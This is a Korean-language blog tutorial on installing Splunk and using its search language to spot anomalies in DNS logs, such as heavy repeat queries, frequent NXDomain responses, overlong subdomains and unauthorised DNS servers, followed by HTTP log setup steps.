<li>Splunk Cloud : 평가판 15일 동안 이용 가능 / 매일 최대 5GB의 데이터를 인덱싱 가능</li>
<li>Splunk Enterprise : 평가판 60일 동안 이용 가능 / 매일 최대 500MB의 데이터를 인덱싱 가능</li>
</ul>
<p><a href="https://docs.splunk.com/Documentation/SplunkCloud/8.2.2203/SearchTutorial/Systemrequirements">Tutorial 데이터 파일 다운로드 🔗</a></p>
<ul>
<li>tutorialdata.zip 파일을 성공적으로 업로드 하려면 압축해야한다.<ul>
<li>tutorialdata.zip 파일 다운로드 후 압축해제 X</li>
<li>Prices.csv.zip 파일 다운로드 후 압축해제 X</li>
</ul>
</li>
</ul>
<h3 id="13-splunk-설치">1.3. Splunk 설치</h3>
<blockquote>
<p>** [설치환경] **</p>
</blockquote>
<ul>
<li>Win10</li>
<li>Splunk Enterprise 9.0.1 Ver.</li>
</ul>
<p><img src="https://velog.velcdn.com/images/p-jina/post/a15a2833-12ab-4f01-b926-965ecccef940/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/d826c685-b75b-4e99-811a-ff76be5c3add/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/d11b6b10-24c9-4b8a-9440-fceb0b43a9ab/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/9b852d8d-aa6a-4a73-ba34-ba1a78e73107/image.png" alt="">
Username : splunk / Password : 12345678</p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/967301ee-fa96-447f-a860-3b2e8dbde1c3/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/aab2da84-8a83-44f8-b84e-81e54a4dfbe9/image.png" alt=""></p>
<h3 id="14-splunk-접속">1.4. Splunk 접속</h3>
<p><a href="http://localhost:8000">http://localhost:8000</a> 또는 <a href="http://127.0.0.1:8000">http://127.0.0.1:8000</a> 접속
설치할 때 설정했던 Username 과 Password 입력 후 로그인
<img src="https://velog.velcdn.com/images/p-jina/post/c214afab-75e0-4cc6-aa04-b76abc92eaf1/image.png" alt=""></p>
<h3 id="15-splunk-살펴보기">1.5. Splunk 살펴보기</h3>
<p>분석할 데이터 추가하는 방법 : 설정 &gt; 데이터 추가 &gt; 업로드
<img src="https://velog.velcdn.com/images/p-jina/post/1ef75e34-b67c-4f11-92ce-91cb07fad655/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/1d718673-c41f-4878-8626-9ac269cc79b2/image.png" alt=""></p>
<p>업로드 하는 파일은 반드시 압축파일 그대로 올리기
<img src="https://velog.velcdn.com/images/p-jina/post/bd4c0f08-b8c2-4a01-9a5e-b518a02bfcff/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/49dd5228-35fd-44b1-b3f7-a18e4025b155/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/cf89ed07-2758-441b-ab09-533b5f443dc5/image.png" alt="">
파일이 성공적으로 업로드되면 [검색 시작] 클릭
<img src="https://velog.velcdn.com/images/p-jina/post/750c99dc-da7b-4815-813a-0037bcec63b2/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/49a9d465-23b1-470d-a4c1-98071f12f9c0/image.png" alt=""></p>
<p><code>&gt;</code> 를 클릭하면 상세하게 볼 수 있다.
<img src="https://velog.velcdn.com/images/p-jina/post/86334235-e7f6-4744-b1d9-61d6d0a97df0/image.png" alt=""></p>
<p>검색을 통해서도 로그를 분석할 수 있지만 Splunk에서 자동으로 분석해서 필드에 대한 통계를 내주기 때문에 필드를 참고할 수 있다.
<img src="https://velog.velcdn.com/images/p-jina/post/8566f3b7-3d45-4cb3-af64-8ec246285fc5/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/9eb18313-60c7-453d-b500-810b90aa7c69/image.png" alt=""></p>
<h2 id="2-로그-분석">2. 로그 분석</h2>
<p>사내망의 로그들에 대해</p>
<ol>
<li>HTTP 로그 분석 후 이상징후 탐색</li>
<li>DNS 로그 분석 후 이상징후 탐색</li>
<li>EndPoint 로그 분석 후 이상징후 탐색</li>
</ol>
<h2 id="3-검색명령어">3. 검색명령어</h2>
<p><img src="https://velog.velcdn.com/images/p-jina/post/56172f98-7239-4401-bd5d-a06bba2f5cc9/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/7a9d7a37-5875-475d-b480-7607e78717c8/image.png" alt=""></p>
<ul>
<li><strong>키워드 검색</strong> : category 로 시작하는 모든 키워드 찾으려면 와일드 카드 사용 가능</li>
<li><strong>필드 검색</strong><ul>
<li>필드명 = 필드값</li>
<li>검색 후 사이드 바에서 보려고 하는 필드만 선택해서 볼 수 있음</li>
<li>검색 시 필드 사이에 공백은 AND 연산자를 의미</li>
</ul>
</li>
<li><strong>문자열 검색</strong><ul>
<li>문자열 검색 시 대소문자 구분 X error 를 검색결과와 Error 검색결과는 동일</li>
<li>연속된 문자열의 경우 <code>&quot;&quot;</code> 사용</li>
</ul>
</li>
<li><strong>연산자 사용</strong> : 연산자 (AND, OR, NOT) 사용 시 대문자로 입력</li>
</ul>
<blockquote>
<p><strong>✅ 검색 시 체크포인트</strong></p>
</blockquote>
<ul>
<li>괄호를 이용하여 우선순위 지정하기</li>
<li>시간 점검하기</li>
<li>자동완성기능 이용하기</li>
</ul>
<h3 id="31-데이터-나열-변환">3.1. 데이터 나열, 변환</h3>
<h4 id="1-table">1) table</h4>
<pre><code>index=main sourcetype=&quot;access_combined_wcookie&quot;
index=main sourcetype=access_combined_wcookie
| table clientip, method, productId, status</code></pre><p><img src="https://velog.velcdn.com/images/p-jina/post/c047b8c2-3b59-42c7-9ea6-f7bc57523da9/image.png" alt=""></p>
<h4 id="2-rename">2) rename</h4>
<pre><code>index=main sourcetype=access_combined_wcookie
| table clientip, action, productId, status
| rename action AS &quot;Customer Action&quot;, productId AS ProductID, status AS &quot;HTTP Status&quot;</code></pre><p><img src="https://velog.velcdn.com/images/p-jina/post/058105ea-d955-44b4-9c14-8b81efea837d/image.png" alt=""></p>
<h4 id="3-dedup">3) dedup</h4>
<p>검색 결과에서 중복 제거</p>
<pre><code>index=main sourcetype=access_combined_wcookie status=404</code></pre><p><img src="https://velog.velcdn.com/images/p-jina/post/8924a136-adf9-42c4-9aca-f5cdb2357358/image.png" alt=""></p>
<pre><code>index=main sourcetype=access_combined_wcookie status=404 | dedup host</code></pre><p><img src="https://velog.velcdn.com/images/p-jina/post/069862e4-0d3a-4736-8615-6da1edb70495/image.png" alt=""></p>
<h4 id="4-sort">4) sort</h4>
<p>IP주소를 정렬 할 경우 함수 ip() 또는 num( ) 사용 </p>
<pre><code>index=main sourcetype=access_combined_wcookie
| table clientip, action, productId, status
| sort action, -productId</code></pre><p><img src="https://velog.velcdn.com/images/p-jina/post/b9a383d4-7d14-400f-ac98-0e955b00743a/image.png" alt=""></p>
<pre><code>index=main sourcetype=access_combined_wcookie
| table clientip, action, productId, status
| sort -ip(clientip)</code></pre><p><img src="https://velog.velcdn.com/images/p-jina/post/70d056cd-5097-416d-9907-70863fde696d/image.png" alt=""></p>
<h3 id="32-통계-계산">3.2. 통계 계산</h3>
<h4 id="1-stats">1) stats</h4>
<pre><code>index=main sourcetype=&quot;access_combined_wcookie&quot;
| stats sum(bytes), avg(bytes), max(bytes), median(bytes), min(bytes) by clientip</code></pre><p><img src="https://velog.velcdn.com/images/p-jina/post/9361a0cf-4036-4c36-a53f-0ba09fa60f7f/image.png" alt=""></p>
<h4 id="2-top">2) top</h4>
<p>빈도 수가 많은 값의 순서를 추출</p>
<pre><code>* | top useother=T clientip by method</code></pre><p><img src="https://velog.velcdn.com/images/p-jina/post/b34bd31a-a0dd-4f3b-8b26-c8010f9e771b/image.png" alt=""></p>
<h4 id="3-rare">3) rare</h4>
<p>top과 반대의 결과로 빈도 수가 적은 값의 순서를 추출</p>
<pre><code>* | rare useother=T clientip by method</code></pre><p><img src="https://velog.velcdn.com/images/p-jina/post/c30c48f4-8965-4417-8b4d-30aa0d2872ab/image.png" alt=""></p>
<h3 id="33-시각화">3.3. 시각화</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/277c1519-e60b-4d95-b426-8c6fcb0d0534/image.png" alt=""></p>
<p>테이블로 표시된 결과를 다양한 차트로도 만들 수 있다.
<img src="https://velog.velcdn.com/images/p-jina/post/16ca7922-d0a2-4b0b-9dde-b029d270bf4f/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/027c2793-cdef-41fc-b358-eb8c4d040167/image.png" alt=""></p>
<h3 id="34-비교분석">3.4. 비교분석</h3>
<h4 id="1-eval">1) eval</h4>
<p>검사 결과 값의 반환, 검증을 수행하며 함수 실행 결과 값을 반환</p>
<pre><code class="language-bash"># 변수명을 선언
| eval [반환값_저장변수] = 함수(인자1, 인자2..)</code></pre>
<pre><code class="language-bash">sourcetype=access_*
| eval status_code=if(status==200, &quot;OK&quot;, &quot;Error&quot;)
| table clientip status_code</code></pre>
<h4 id="2-casexy">2) case(X,”Y”,…)</h4>
<ul>
<li>여러 개의 조건을 검증할 때 사용</li>
<li>두 개의 인자가 한 그룹으로 동작</li>
<li>첫 번째 인자가 참인 경우 두 번째 인자의 내용이 반환, 세 번째 인자가 참이면 네 번째 인자가 수행</li>
</ul>
<pre><code class="language-bash">index=httplog sourcetype=httplog
| eval description=case(error==404, &quot;Not found&quot;, error==500, &quot;internal Server Error&quot;)
| table clientip description</code></pre>
<pre><code class="language-bash">| eval quarter=case(date_month==“January”, “1Q”, date_month==“April”, “2Q”)</code></pre>
<h4 id="3-cidmatchxy">3) cidmatch(“X”,Y)</h4>
<ul>
<li>IP주소 Y가 네트워크 범위 X에 존재하는지 확인</li>
<li>반환 값은 참 또는 거짓이며 두 개의 인자가 사용</li>
<li>첫 번째 CIDR 형식의 네트워크 주소 범위, 두 번째는 검사를 위한 IP 주소가 입력</li>
<li>검색 필터로 사용 가능</li>
</ul>
<pre><code class="language-bash">| eval local=cidrmatch(“10.0.0.0/8”, “10.10.0.100”)</code></pre>
<p>IP 주소 10.10.0.100이 10.0.0.0/8 대역에 포함되면 true 아니면 false 반환</p>
<pre><code class="language-bash">| where (cidrmatch(“10.0.0.0/8”, ip) OR
(cidrmatch(“172.16.0.0/12”, ip) OR
(cidrmatch(“192.16.0.0/16”, ip)</code></pre>
<h4 id="4-ifxyz">4) if(X,Y,Z)</h4>
<ul>
<li>X가 참이면 Y를 실행하고 X가 거짓이면 Z실행</li>
</ul>
<pre><code class="language-bash">* | eval ip1=&quot;10.10.0.100&quot;, ip2=&quot;100.10.0.100&quot;
| eval network1=if(cidrmatch(&quot;10.10.0.0/24&quot;, ip1),&quot;local&quot;, &quot;external&quot;), 
network2=if(cidrmatch(&quot;10.10.0.0/24&quot;, ip2),&quot;local&quot;, &quot;external&quot;) # Y
| table ip1, network1, ip2, network2</code></pre>
<p>IP 필드 값이 10.10.0.100이라면 10.10.0.0/24 네트워크에 포함되므로 network1 필드에 “local” 문자열이 저장
IP 필드 값이 100.10.0.100이라면 network2 필드에는 “external” 이 할당</p>
<h4 id="5-likexy">5) like(X,“Y”)</h4>
<ul>
<li>Like 함수의 X필드에서 일부 문자열인 Y를 검색</li>
<li>첫 번째 인자는 대상 필드, 두 번째 인자는 정규 표현식의 탐색 패턴</li>
<li>X에서 Y를 찾을 수 있으면 참을 반환</li>
<li>like 함수의 와일드 카드 문자열은 ‘%’</li>
<li>field 변수가 addr로 시작하는지 검사</li>
</ul>
<pre><code class="language-bash">…| where like(field, “add%”)</code></pre>
<h4 id="6-matchxy">6) match(X,“Y”)</h4>
<pre><code class="language-bash">index=httplog sourcetype=httplog
| where NOT match(method, &quot;(GET|POST|-)&quot;)
| stats count(src) as src_count by method
| sort - src_count</code></pre>
<p>where절이 True인 경우에만 그 다음 stats나 sort 절을 수행한다.</p>
<h3 id="35-다중-문자열과-시간">3.5. 다중 문자열과 시간</h3>
<h4 id="1-splitxy">1) split(X,”Y”)</h4>
<ul>
<li>X라는 문자열을Y 라는 구분자를 이용해 분할
<code>/data/utility/tool/GoogleToolbar.exe</code> 를 split(uri,&quot;/&quot;) 하면 총 4개로 분할된다. 인덱스는 0번부터 시작한다. <code>data</code> <code>utility</code> <code>tool</code> <code>GoogleToolbar.exe</code> </li>
</ul>
<h4 id="2-mvindexxyz">2) mvindex(X,Y,Z)</h4>
<ul>
<li>필드 X에 있는 Y번째 값은 반환 (Z는 생략가능)</li>
<li>여기서 Y는 인덱스 번호 (0번부터 시작)</li>
<li>Z값 지정 시 함수는 Y부터 Z까지의 값을 반환
<code>/data/utility/tool/GoogleToolbar.exe</code> 를 mvindex(split(uri,”/”), -1) 하면 /를 구분자로 총 4개로 분할 <code>data</code> <code>utility</code> <code>tool</code> <code>GoogleToolbar.exe</code> 후 <code>GoogleToolbar.exe</code> 를 반환한다. </li>
</ul>
<pre><code class="language-bash">*| eval passwd_str=&quot;lightdm:x:107:117:Light Display M a n a g e r :/var/lib/lightdm:/bin/false&quot;
| eval uid=mvindex(split(passwd_str,&quot;:&quot;),0)
| eval subuid1=substr(uid,2)
| eval subuid2=substr(uid,2,4)
| table uid, subuid1, subuid2</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/50b6af71-2dc4-4dd7-99c7-f35117b65680/image.png" alt=""></p>
<h4 id="3-roundxy">3) round(X,Y)</h4>
<ul>
<li>X를 Y 자리 수 기준으로 반올림</li>
<li>나누기 계산을 할 경우 소수점 자리가 급격히 늘어나는 것을 방지</li>
</ul>
<h4 id="4-strftimexy">4) strftime(X,Y)</h4>
<ul>
<li>유닉스 타임 X를 지정한 Y형식으로 출력</li>
<li>주로 사용자가 읽기 편한 형식으로 변환 할 때 사용</li>
<li>유닉스 타임(에포크 타임) 계산법은 1970년 1월 1일 0시를 기준으로 초를 계산</li>
</ul>
<h2 id="5-dns-로그-분석-실습환경-구성">5. DNS 로그 분석 실습환경 구성</h2>
<h3 id="51-index-만들기">5.1. Index 만들기</h3>
<p>리눅스 로그와 유사하게 /var/lib/splunk 위치에 로그가 있다.</p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/a4591cdd-7de1-4d7f-b44d-0df60c44b3b2/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/1f9337a6-739c-4889-82dc-e7df34bf8960/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/20dcb120-bdcd-4ef1-ae35-fd944a96c78f/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/1a7c2242-c807-4dc5-b7cb-f8b13e78afcc/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/87a2c83f-8b53-4bfe-82c7-3171e9267f00/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/80cf0f54-4cb7-4bba-a265-37c0443aebf7/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/a4e664dd-ff3f-454e-b6bb-01b60b2e348d/image.png" alt=""></p>
<h3 id="52-source-type-지정">5.2. Source Type 지정</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/89bf9594-1156-42e1-a4cf-e039c12da419/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/81646d82-ad59-4728-b195-3e7c91534b56/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/f7c72bc7-96da-48e0-b140-9d173b14f873/image.png" alt="">
쉼표로 구분된 필드 이름
ts,uid,src,spt,dst,dpt,proto,trans_id,rtt,domain,qclass,qclass_name,qtype,qtype_name,rcode,rcode_name,AA,TC,RD,RA,Z,answers,TTLs,rejected</p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/4987b886-9e44-4725-8c69-3958b61fa50d/image.png" alt=""></p>
<h3 id="53-데이터-추가">5.3. 데이터 추가</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/699f6b15-f3d0-4ca5-b0d6-2976ae4ded6d/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/2fe6306a-de53-4c1e-b280-c14e0fd3dbba/image.png" alt=""></p>
<p>내가 설정할 필드보다 많은 이유? Splunk에서 자동 인식해서 만들어낸 필드가 포함되어 있기 때문에
<img src="https://velog.velcdn.com/images/p-jina/post/565032c0-c544-47fc-99f2-b0a82e8b7561/image.png" alt=""></p>
<h3 id="54-url-toolbox-설치">5.4. URL Toolbox 설치</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/3895cff0-098a-48cd-b11a-695b48769fc5/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/0cf51647-7d0a-444a-a012-d61f031c554b/image.png" alt=""></p>
<p>표시여부가 No 로 되어 있으면 [속성 편집] 에서 예로 바꿔주기
<img src="https://velog.velcdn.com/images/p-jina/post/50affe2a-d281-4e98-b1e6-d7fe157348c4/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/2a490e23-8e2b-494f-a3bf-b0d36ef91b07/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/8f82146f-db4f-4154-85a8-6975910f1332/image.png" alt=""></p>
<p>앱이 정상적으로 설치되면 Splunk 메인화면에서 확인할 수 있다. 
<img src="https://velog.velcdn.com/images/p-jina/post/a6e47774-b503-4dca-b861-75496c066357/image.png" alt=""></p>
<h2 id="6-dns-로그-분석">6. DNS 로그 분석</h2>
<blockquote>
<h3 id="dns-로그-필드">DNS 로그 필드</h3>
</blockquote>
<ul>
<li>ts : 유닉스 시간</li>
<li>uid : 로그 id</li>
<li>----------- ▼ TCP/IP헤더에서 알 수 있는 정보 ----------</li>
<li>id.orig_h : 송신지IP주소</li>
<li>id.orig_p : 송신지 port번호</li>
<li>id.resp_h : 수신지IP주소</li>
<li>id.resp_p : 수신지 port번호</li>
<li>Protocol : 사용 프로토콜</li>
<li>------------- ▼ 여기서부터 DNS 로그 필드 ------------</li>
<li>trans_id : 질의와 응답을 연결하는 ID(DNS작업번호)</li>
<li>rtt : 응답시간 (-으로 표시되면 정상적으로 진행 X)</li>
<li>query : 도메인질의내용</li>
<li>DNS : 서버에 질의한 도메인</li>
<li>---------- ▼ Query 메세지를 보고 구성한 필드 ---------</li>
<li>qclassb : 질의클래스</li>
<li>qclass_name : 질의클래스 이름</li>
<li>qtype : 질의형식</li>
<li>qtype_name : 질의형식이름</li>
<li>-------- ▼ Responce 메세지를 보고 구성한 필드 --------</li>
<li>rcode : 답변코드</li>
<li>rcode_name : 질의한 도메인의 응답코드<blockquote>
</blockquote>
<table>
<thead>
<tr>
<th>rcode</th>
<th>rcode_name</th>
<th>서명</th>
</tr>
</thead>
<tbody><tr>
<td>0</td>
<td>NoError</td>
<td>오류 없음</td>
</tr>
<tr>
<td>1</td>
<td>FromErr</td>
<td>Qury 형식 오류</td>
</tr>
<tr>
<td>2</td>
<td>SevFail</td>
<td>DNS 서버 자체의 문제로 실패</td>
</tr>
<tr>
<td>3</td>
<td>NXDomain</td>
<td>DNS 클라이언트가 존재하지 않는 도메인으로 질의</td>
</tr>
<tr>
<td>4</td>
<td>Notlmp</td>
<td>DNS 서버가 해당 질의를 지원 X</td>
</tr>
<tr>
<td>5</td>
<td>Refused</td>
<td>정책적인 이유로 질의를 거절</td>
</tr>
</tbody></table>
<blockquote>
</blockquote>
</li>
<li>AA : 인증서버답변여부</li>
<li>TC : 전체질의가 잘렸는지 여부</li>
<li>RD : 재귀질의 요청여부</li>
<li>RA : 재귀질의 가능여부</li>
<li>Z : 예약된 필드로 사용하지 않음</li>
<li>Answers : DNS서버에서 반환한 답변내역</li>
<li>TTLs : 도메인의 TTL값, 질의 답변의 캐시보관기간 (3600초(1시간 기본))</li>
<li>Reject : 질의가 거부됐는지 판단</li>
</ul>
<h3 id="61-dns-네트워크-현황-분석-항목">6.1. DNS 네트워크 현황 분석 항목</h3>
<p>전반적인 통계치를 파악하기 위함이다.
현황분석 시 숫자에서 이상 징후를 유추해야 한다.</p>
<h4 id="1-top-10-도메인-현황-분석">1) TOP 10 도메인 현황 분석</h4>
<ul>
<li>사용자가 가장 많이 접속한 도메인 10개</li>
<li>많이 접속한다는 것은 많은 사용자가 접속한다는 뜻이지만 소수의 클라이언트가 많이 접속할 수도 있다는 뜻이기도 함 (ex. 동일 도메인이 10분 동안 60번씩 요청할 경우, 매크로가 동작한다고 추측 가능)</li>
<li><span style="color:#e06c75"><strong>네트워크 접속 행위를 분석 시 해당 트래픽이 사용자가 발생시킨 것인지, 자동 프로그램이 일으킨 행위인지를 분석의 기준으로 삼을 수 있음</strong></span></li>
</ul>
<pre><code class="language-bash">index=dnslog sourcetype=dnslog domain!=&quot;-&quot;
| eval list = &quot;mozila&quot;
| `ut_parse(domain,list)`
| table ut_netloc, ut_domain, ut_subdomain, ut_domain_without_tld, ut_tld
| dedup ut_netloc</code></pre>
<ul>
<li><code>index=dnslog</code> : dnslog 저장소에서</li>
<li><code>sourcetype=dnslog</code> : dnslog 필드를 갖고 있는 로그들만 분석 </li>
<li><code>domain!=&quot;-&quot;</code> : domain 필드에 - 표시 즉, 값이 설정되어 있지 않은 로그는 제외</li>
<li><code>| eval list = &quot;mozila&quot;</code> : list 라는 변수명에 &quot;mozila&quot; 라는 값을 선언</li>
<li><code>| ut_parse(domain,list)</code> : URL의 domain을 mozila로 파싱 (URL Toolbox가 설치되었기 때문에 가능)</li>
<li><code>| table ut_netloc, ut_domain, ut_subdomain, ut_domain_without_tld, ut_tld</code> : 테이블 형태로 필드 구성을 ut_netloc, ut_domain, ut_subdomain, ut_domain_without_tld, ut_tld 로 하기 (URL Toolbox에서 지원하는 필드)</li>
<li><code>| dedup ut_netloc</code> : 중복된 ut_netloc 필드 값은 제거</li>
</ul>
<p><img src="https://velog.velcdn.com/images/p-jina/post/dbf90a5b-ad0a-47c2-8d12-817a059f465a/image.png" alt=""></p>
<ul>
<li>ut_netloc(전체주소) : ztp.polycom.com</li>
<li>domain : polycom.com</li>
<li>subdomain : ztp</li>
<li>tld(Top Level Domain) : com</li>
</ul>
<h4 id="2-사용자들이-가장-많이-접속한-도메인-10개를-검색">2) 사용자들이 가장 많이 접속한 도메인 10개를 검색</h4>
<pre><code class="language-bash">index=dnslog sourcetype=dnslog dpt=53 
domain!=&quot;*.arpa&quot; 
domain!=&quot;-&quot;
| eval list=&quot;mozilla&quot; 
| `ut_parse(domain, list)`
| top showperc=f limit=10 ut_netloc</code></pre>
<ul>
<li><code>index=dnslog</code> : dnslog 저장소에서</li>
<li><code>sourcetype=dnslog</code> : dnslog 필드를 갖고 있는 로그들만 분석 </li>
<li><code>dpt=53</code> : 수신지 포트 53</li>
<li><code>domain!=&quot;*.arpa&quot;</code> : 정방향 조회 A레코드만 (역방향 조회인 ptr 레코드는 제외)</li>
<li><code>domain!=&quot;-&quot;</code> : Query name 부분(도메인명)이 없으면 제외</li>
<li><code>| eval list=&quot;mozilla&quot;</code> : list 라는 변수에 &quot;mozilla&quot; 라는 값 부여</li>
<li><code>| ut_parse(domain, list)</code> : 도메인을 mozilla 형식으로 분할</li>
<li><code>| top showperc=f limit=10 ut_netloc</code> : 퍼센테이지 제외 결과값을 내림차순으로 10개만 보여주되 전체 주소를 보여줘</li>
</ul>
<p><img src="https://velog.velcdn.com/images/p-jina/post/2fc95d22-9e8d-4e90-8ea5-de46c98360a9/image.png" alt=""></p>
<p>teredo.ipv6.microsoft.com 가 가장 많이 접속했다. </p>
<ul>
<li>ut_netloc : teredo.ipv6.microsoft.com</li>
<li>domain : microsoft.com</li>
<li>subdomain : teredo.ipv6</li>
<li>tld : com</li>
</ul>
<p>특정 몇몇 사람만 많이 접속했는지 여러 명이 접속했는지 파악할 필요가 있다.</p>
<h4 id="3-도메인과-해당-도메인을-접속한-송신지-ip주소를-동시에-검색">3) 도메인과 해당 도메인을 접속한 송신지 IP주소를 동시에 검색</h4>
<pre><code class="language-bash">index=dnslog sourcetype=dnslog dpt=53 domain!=&quot;*.arpa&quot; domain!=&quot;-&quot; 
| eval list=&quot;mozilla&quot; 
| `ut_parse(domain,list)` 
| top showperc=f src, ut_netloc</code></pre>
<ul>
<li><code>index=dnslog sourcetype=dnslog dpt=53 domain!=&quot;*.arpa&quot; domain!=&quot;-&quot;</code> : dnslog 저장소에서 소스타입이 dnslog인 것 중 수신지 포트가 53이고 도메인이 역방향 조회인 것과 공란인 경우는 제외</li>
<li><code>src</code> : 송신지 IP주소
src ---ut_netloc---&gt; DNS</li>
</ul>
<p><img src="https://velog.velcdn.com/images/p-jina/post/ff9e3bbd-a707-4e2c-8172-e3963a14153a/image.png" alt=""></p>
<p>172.16.146.107 와 172.16.138.48가 teredo.ipv6.microsoft.com 에 비정상적으로 많은 접속 횟수로 보아 매크로를 돌렸을 가능성이 높다.</p>
<h4 id="4-nxdomain이-빈번하게-발생하는-도메인과-해당-질의를-발생하는-송신지-모니터링">4) NXDomain이 빈번하게 발생하는 도메인과 해당 질의를 발생하는 송신지 모니터링</h4>
<pre><code class="language-bash">index=dnslog sourcetype=dnslog domain!=&quot;-&quot; rcode_name= &quot;NXDomain&quot;
| top showperc=f src, domain</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/70d8040d-4a70-4eb2-828c-285e00d71d7e/image.png" alt=""></p>
<p>도메인 검색 시 오타가 날 수도 있기 때문에 NXDomain 이 1~2건 정도는 있을 수 있으나 지속적인 NXDomain이 발생하면 점검이 필요하다. 왜? 감염된 PC가 사라진 도메인에 접속을 시도하는걸수도 있기 때문에</p>
<blockquote>
<p>💡 <strong>NXDomain이란?</strong> 
존재하지 않는 도메인에 접속을 시도하는 경우 발생하는 에러</p>
</blockquote>
<h4 id="5-비정상적인-서브-도메인-길이">5) 비정상적인 서브 도메인 길이</h4>
<blockquote>
<p>💡 <strong>서브 도메인(Subdomain)</strong></p>
</blockquote>
<ul>
<li>도메인 소유자가 생성하는 도메인명
(ex. aaa.bbb.naver.com 에서 서브 도메인은 aaa.bbb에 해당)</li>
<li>한국인터넷진흥원에서 도메인은 2~63자로 규정해두었다.</li>
<li>비정상적인 도메인 길이는 주로 서브 도메인을 의미</li>
</ul>
<pre><code class="language-bash">index=dnslog sourcetype=dnslog domain!=&quot;-&quot; 
| where NOT cidrmatch(domain, &quot;0.0.0.0/0&quot;) 
| eval list=&quot;Mozilla&quot;
| `ut_parse(domain, list)`
| where NOT match(domain,&quot;(microsoft.com|akamaized.net| amazonaws.com)$&quot;) 
| eval sub_len=len(ut_subdomain) 
| search sub_len &gt; 20 
| table ut_domain, ut_subdomain, sub_len, sut_netloc</code></pre>
<ul>
<li><code>| where NOT cidrmatch(domain, &quot;0.0.0.0/0&quot;)</code> : 도메인명이 ip 형태로 나오면 ptr 레코드를 의미(역방향 조회). 도메인명에 IP주소 형태가 있으면 True ⇒ ptr 레코드 제외</li>
<li><code>| where NOT match(domain,&quot;(microsoft.com|akamaized.net| amazonaws.com)$&quot;)</code> : 정규표현식에서 $는 도메인 끝에서부터 봤을 때 microsoft.com|akamaized.net| amazonaws.com 인 건 제외 ⇒ 검색 대상에서 가상화를 지원해주는 사이트는 제외</li>
<li><code>| eval sub_len=len(ut_subdomain)</code> : sub_len 변수에 서브 도메인의 길이를 부여</li>
<li><code>| search sub_len &gt; 20</code> : sub_len이 20자 초과인 것만 찾기</li>
</ul>
<blockquote>
<p>💡 <strong>왜 서브 도메인 길이를 20자를 기준으로 하는지?</strong>
서브 도메인이 20자를 초과하면 난독화 현상을 진행되기 때문에 20자를 기준으로 한다. 공격자가 접속사이트를 숨기기 위해서 길게 만든다.</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/p-jina/post/84218180-396c-4ff7-a62f-36b04e60f3e7/image.png" alt=""></p>
<h4 id="6-비허가-dns-사용">6) 비허가 DNS 사용</h4>
<pre><code class="language-bash">index=dnslog sourcetype=dnslog (dst!=&quot;172.16.142.11&quot; AND dst!=&quot;172.16.142.12&quot;) (src!=&quot;172.16.142.11&quot; AND src!=&quot;172.16.142.12&quot;) 
| stats count by dst 
| sort - count</code></pre>
<p>위조 DNS 서버를 쓰고 있는지 찾아내는 작업</p>
<ul>
<li><code>index=dnslog sourcetype=dnslog (dst!=&quot;172.16.142.11&quot; AND dst!=&quot;172.16.142.12&quot;) (src!=&quot;172.16.142.11&quot; AND src!=&quot;172.16.142.12&quot;)</code> : DNS 서버주소는 질의할 때는 dst지만 응답할 때는 src가 된다. ⇒ 수신지 IP 주소나 송신지 IP주소가 172.16.142.11 나 172.16.142.12 가 아닌 로그만</li>
<li><code>| stats count by dst</code> : dst 필드 값에 따라 이벤트 수를 계산</li>
<li><code>| sort - count</code> : count 필드 값을 기준으로 검색 결과를 내림차순으로 정렬</li>
</ul>
<h2 id="7-http-로그-분석-실습환경-구성">7. HTTP 로그 분석 실습환경 구성</h2>
<h3 id="71-index-생성">7.1. Index 생성</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/14c0565b-31b4-4ff1-b2a9-a028a5925b64/image.png" alt=""></p>
<h3 id="72-source-type-지정">7.2. Source Type 지정</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/d5bd5fa9-94dd-49d4-ac35-68684e014db9/image.png" alt="">
쉼표로 구분된 필드 이름 : ts,uid,src,spt,dst,dpt,trans_depth,method,domain,uri,referrer,version,user_agent,request_body_len,response_body_len,status_code,status_msg,info_code,info_msg,tags,username,password,proxied,orig_fuids,orig_filenames,orig_mime_types,resp_fuids,resp_filenames,resp_mime_types</p>
<h3 id="73-데이터-추가">7.3. 데이터 추가</h3>
<p><img src="https://velog.velcdn.com/images/p-jina/post/8f49f455-2afc-45d9-a512-4fbc7442807f/image.png" alt=""></p>
